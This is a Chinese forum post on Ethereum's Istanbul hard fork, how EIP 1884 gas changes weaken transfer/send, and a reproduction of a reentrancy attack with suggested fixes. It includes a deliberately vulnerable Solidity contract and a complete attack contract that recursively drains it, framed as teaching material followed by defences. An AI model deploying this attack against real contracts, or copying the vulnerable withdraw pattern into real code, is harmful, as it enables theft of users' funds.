首页
论坛
专栏
课程

[原创]以太坊"伊斯坦布尔"硬分叉以及重入攻击的防护

2019-11-4 14:29 1326

[原创]以太坊"伊斯坦布尔"硬分叉以及重入攻击的防护

2019-11-4 14:29
1326

0x00 前言

首先感谢远在珠海辛勤工作的老婆的支持。
这篇文,主要是将最近所学以及实时现状进行总结和分析,全文分三个部分来写,希望路过的大佬们不吝啬指点一番,那就是获益匪浅了。

0x01 "伊斯坦布尔"硬分叉

1.分叉时间

在9月30号的时候以太坊测试链上"伊斯坦布尔"已经完成分叉,有消息称"伊斯坦布尔"硬分叉在以太坊正式链上将在12月4号进行分叉。

2.分叉内容

在"伊斯坦布尔"硬分叉中EIP 1884将进行实现。
在EIP 1884中

  • 将 SLOAD 操作码的 Gas 消耗量从 200 提高到 800
  • 将 BALANCE 和 EXTCODEHASH 的 Gas 消耗量从 400 提高到 700
  • 加入一种新的操作码 SELFBALANCE,Gas 消耗量是 5

3.影响

这里的影响只提及安全影响,和我们的主题相关,重入漏洞使用的transfer以及send,被推荐的安全函数,他们的建立前提是:假设gas不改变。一旦gas改变,那么就具备了其相关的安全性。transfer以及send被限制最大只能使用2300gas,这是发送一次日志的使用量,但是由于EIP 1884导致fallback gas使用量增加,所以transfer函数以及send函数出现了问题。

4. "伊斯坦布尔"命名

"伊斯坦布尔"的前称为"君士坦丁堡"。前一次硬分叉命名为"君士坦丁堡",这一次的硬分叉命名为"伊斯坦布尔"。1923年土耳其共和国初建时为首都(独立战争期间迁都安卡拉),伊斯坦布尔才成为国际上的正式名称。

 

整个过程就是:
拜占庭———君士坦丁堡——伊斯坦布尔

0x02 重入漏洞

这里将重入漏洞进行复现以及利用。

1.简单的说下重入漏洞

这个网上有很多,大家可以去看一下,这里简单的说一下,就是通过递归,利用call.value gas使用无限制将币进行转移。

2.漏洞复现

首先准备存在漏洞的sol
在大佬的源码上我做了一些精简,只为了能更好的复现漏洞。大佬的地址之后附在文末。

 

这个是漏洞源码

pragma solidity ^0.4.11;

contract IDMoney {
    address owner;
    mapping (address => uint256) balances;  
    function IDMoney() { 
        owner = msg.sender; 
    }
    function deposit() payable { 
        balances[msg.sender] += msg.value; 
    }
    function withdraw(address to, uint256 amount) {
        require(balances[msg.sender] > amount);
        require(this.balance > amount);
        to.call.value(amount)(); 
        balances[msg.sender] -= amount;
    }
}

在withdraw这个函数中出现了重入漏洞的问题。
准备一个利用代码,利用的原理就是在使用call.value进行转账的时候,如果转账的是一个合约账户的话,那么就会调用合约账户的fallback函数。
所以现在的逻辑就是需要一个有fallback函数,并且需要再fallback里做文章。

pragma solidity ^0.4.11;

contract Attack {
    address owner;
    address victim;

    modifier ownerOnly { require(owner == msg.sender); _; }

    function Attack() payable { 
        owner = msg.sender; 
    }

    // 设置已部署的 IDMoney 合约实例地址
    function setVictim(address target) ownerOnly { 
        victim = target;
    }

    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }

    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }

    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }

    function () payable {
        if (msg.sender == victim) {
            // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

首先用户存币

 

图片描述

 

然后攻击者创建合约并且给合约币

 

图片描述

 

然后设置目标合约地址:

 

图片描述

 

设置币值:

 

图片描述

 

成功盗币
图片描述

0x03 面对"伊斯坦布尔"硬分叉的重入漏洞的防护改变

由于该漏洞的主要利用就是因为call.value的gas值没有做限制,所以之前是针对此出现了transfer以及send进行防护,而且被广为推荐。但是由于现在gas使用值改变所以这两个函数将不再适用。

 

除了因为call.value gas使用无限制的原因意外,出现漏洞的最主要原因是因为逻辑错误以及判断不够完整而导致的。

1.逻辑问题

出现漏洞的地方一般都是先转账,然后再进行数值的减少。这里的逻辑问题就会导致先转了账,利用递归不执行数值减少的代码,从而导致盗币。那么反过来说就可以先进行数值的增减然后再进行转账操作。

 

但是这样子的逻辑还有一个问题就是如果转账失败的话,没有做处理就会导致数值减少但是没有真正转账。

 

修改之后的源码
图片描述

 

进行重入攻击的测试:

 

图片描述

 

这样修改了之后发现攻击者最多就是把自己投进去的币拿出来,却不能够对合约的其他币进行威胁。

2.增加更强的判断手法

在学c的时候有一个东西叫做哨兵,目的就是为了检测状态。那么这里也可以这样用。
图片描述

 

进行重入攻击的测试:
图片描述

0x04 参考文章

https://ethfans.org/posts/security-considerations-for-eip-1884
https://baike.baidu.com/item/%E4%BC%8A%E6%96%AF%E5%9D%A6%E5%B8%83%E5%B0%94/5544?fr=aladdin
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/#2-Access-Control



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-11-4 14:54 被王嘟嘟编辑 ,原因:
最新回复 (3)
Editor 2019-11-4 17:09
2
0
感谢分享!
好男人,一般在文章中感谢老婆的男人不多
pureGavin 2019-11-4 18:03
3
0
Editor 感谢分享! 好男人,一般在文章中感谢老婆的男人不多
mark,楼主辛苦了,我也很想感谢老婆,但是不知道该选谁的老婆比较好
王嘟嘟 2019-11-7 17:18
4
0
pureGavin mark,楼主辛苦了,我也很想感谢老婆,但是不知道该选谁的老婆比较好[em_86]
游客
登录 | 注册 方可回帖
返回